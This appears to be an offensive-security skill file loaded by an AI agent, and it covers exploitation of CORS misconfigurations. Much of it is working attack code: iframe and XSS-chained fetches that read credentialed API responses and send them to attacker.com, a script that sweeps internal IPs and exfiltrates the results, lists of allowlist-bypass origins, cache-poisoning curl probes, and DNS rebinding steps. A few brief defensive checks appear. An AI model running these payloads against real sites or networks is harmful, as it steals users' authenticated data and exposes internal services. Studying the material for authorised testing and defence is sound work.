AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.
Also load SCENARIOS.md when you need:
<script> cross-origin data theftdocument.domain subdomain relaxation and its security riskscredentials: include, null origin via sandboxed iframeLoad when:
Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers| Theme | What to Check |
|---|---|
| wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary Origin |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
null origin |
acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |
Origin headers and inspect reflection.Origin: null is sent| Context | Origin Header Value |
|---|---|
Sandboxed iframe (<iframe sandbox>) |
null |
data: URI scheme |
null |
file: protocol (local HTML) |
null |
| Cross-origin redirect chain (some browsers) | null |
Serialized data in blob: URL from opaque origin |
null |
If the server includes null in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
blog.target.com is same-site with api.target.com → SameSite cookies sent*.target.com → Access-Control-Allow-Origin: https://blog.target.com
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin |
|---|---|---|
^https?://.*\.target\.com$ |
.* matches anything including - |
https://attacker-target.com |
^https?://.*target\.com$ |
Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com |
target\.com (substring match) |
No anchors | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ |
Missing port restriction | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ |
Missing end anchor for path | N/A (but misses subdomains with - or digits) |
| Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
https://target.com → https://ⓣarget.com (Unicode homoglyph)
Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:
Access-Control-Allow-Origin: *
Internal APIs often use wildcard CORS because "only internal users can reach it."
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable